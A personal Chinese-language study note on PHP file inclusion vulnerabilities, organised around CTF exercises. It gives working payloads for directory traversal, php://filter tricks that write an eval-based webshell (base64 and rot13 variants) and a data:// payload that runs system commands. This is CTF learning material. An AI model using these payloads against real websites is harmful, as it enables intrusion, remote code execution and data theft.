本文可能比较凌乱,快速总结保证自己看得懂(真.个人笔记)
文件包含的本质:代码复用、并行开发、模块化、增加移植性
include和eval的区别:
include和eval一样,都不是函数,都是语言结构,无法通过配置文件函数禁用来禁用
include后面跟一个路径,表示要执行的php文件的路径,读取路径中文件内容后,然后执行里面的php代码
php常见的文件包含函数,语言结构
include 仅仅是包含这个文件,如果文件不存在,那么也没啥大不了,继续执行后面代码
require 必须给老子包含好这个文件,如果没包含好,我就摆烂不执行了,报错
include_once 包含一次 遇到错误继续执行
require_once 成功包含一次,遇到错误停止
include "flag.php";
文件包含漏洞,是指通过文件包含时,包含的内容我们用户可控
例题1:web30
payload:
?file=/var/www/secret
这个文件不含php代码
当包含的文件没有php代码时,一律认为是文本文档(相当于任意文件读取)
php伪协议
1.什么是协议?
网络层协议:IP、ICMP、ARP、IGMP
应用层协议:http,https,ftp,ssh,gopher
2.协议的格式
协议头://内容
3.php中的协议
file协议
http协议
ftp协议
data协议
phar协议
4.file协议
不写协议名字,就默认认为是file协议
相对路径和绝对路径
相对路径转了绝对路径
flag.php index.php /var/www/html include "flag.php" include "file:///var/www/html/flag.php";
include "flag.php";
include "../html/flag.php"; "/var/www/html/../html/flag.php"
上层目录特性
1.每个目录都有上层目录
2.根目录的上层目录是根目录本身
/var/www/html/../../../ => / 目录
/var/www/html/../../../../../../../../../ => / 目录 上溯
php目录整理特性
/var/www/html/suibian/../flag.php
=>php解析为/var/www/html/flag.php
(事实上suibian这个目录并不存在,所以系统会报错,但php的目录整理特性不会报错)
例题2:web31
显然一个目录穿越
payload:
?file=../../../../../../../flag
5.http协议
配合文件包含,可以读取远程的php代码并在本地执行,最终实现RCE的效果
6.ftp协议
默认21端口,进行文件传输的协议
7.php协议
php://input
php://input可以读取没有处理过的POST数据(即原始数据)。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data
例题3:web32
注意bp传post必须要以key-value的形式,所以这里只能抓包传post
ps:不能直接传/flag,/flag为文件的内容,而非文件的路径
即文件路径是php://input,文件内容是/flag(因为没有php标记,所以被当作文本文档处理)
php://filter
本质就是在读取之前对内容进行了一次过滤
例题4:web33
?file=php://filter/write=convert.base64-decode/resource=1.php
content=PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWzFdKTs/Pg==
(明文:<?php phpinfo();eval($_POST[1]);?>)
访问1.php,写马成功,下略
例题5:web34
死亡die绕过
这里用rot13方便写
<?php eval($_POST[1]);?>
rot13编码后:
<?cuc riny($_CBFG[1]);?>
payload:
?file=php://filter/write=string.rot13/resource=1.php
content=<?cuc riny($_CBFG[1]);?>
访问1.php,成功写马,下略
8.data协议
data伪协议以内容为导向
例题6:web35
?file=data://text/plain,<?php system('tac /f*');?>